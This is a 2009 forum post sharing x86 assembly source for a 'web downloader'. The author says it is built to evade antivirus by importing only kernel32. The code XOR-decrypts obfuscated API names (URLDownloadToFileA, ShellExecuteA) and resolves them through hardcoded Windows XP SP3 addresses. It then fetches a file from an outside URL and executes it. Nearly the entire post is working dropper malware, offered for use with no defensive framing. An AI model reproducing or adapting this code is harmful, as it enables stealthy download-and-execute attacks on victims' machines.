Gonzalez Posted September 11, 2009 Report Posted September 11, 2009 That's a simple web downloader.At the beginning the file has no API's except the kernel.dll, so the AV's can't find any dangerous code.Does only work on XP SP3 because the kernel.dll address changes every SP..386.model flat,stdcalloption casemap:none.data;Download stringsfile db "download.jpg",0 ;will be saved asurl db "http://i33.tinypic.com/16ljles.jpg",0 ;url to fileopen db "open",0;crypted urlmon.dll and URLDownloadToFileA Apidll db "pwihjk+aii",0api db "PWIAjrkijdaQjCli`D",0;crypted shell32.dll und ShellExecuteA Apidll2 db "vm`ii67+aii",0api2 db "Vm`ii@}`fpq`D",0.codestart:;Get size of the dll stringpush offset dllmov eax ,7C80BE46hcall eax;decrypt dll stringmov ecx,eaxmov edi,offset dlllp:mov al, byte ptr [edi]xor al,5mov byte ptr [edi],alinc ediloop lp;get size of the dll stringpush offset apimov eax ,7C80BE46hcall eax;decrypt dll stringmov ecx,eaxmov edi,offset apilp2:mov al, byte ptr [edi]xor al,5mov byte ptr [edi],alinc ediloop lp2;loadlibrary getprocaddress to load urlmon.dll and with getprocaddress find the address from the apipush offset dllmov eax,7C801D7Bhcall eaxpush offset apipush eaxmov ebx,7C80AE30hcall ebx;execute urlmonpush 0push 0push offset filepush offset urlpush 0call eax;get sizepush offset dll2mov eax ,7C80BE46hcall eax;decryptmov ecx,eaxmov edi,offset dll2lp3:mov al, byte ptr [edi]xor al,5mov byte ptr [edi],alinc ediloop lp3;get sizepush offset api2mov eax ,7C80BE46hcall eax;decryptmov ecx,eaxmov edi,offset api2lp4:mov al, byte ptr [edi]xor al,5mov byte ptr [edi],alinc ediloop lp4push offset dll2mov eax,7C801D7Bhcall eaxpush offset api2push eaxmov ebx,7C80AE30hcall ebx;execute shellexecute apipush 5push 0push 0push offset filepush offset openpush 0call eax;exitprocesspush 0mov eax,7C81CAFAhcall eaxend start Quote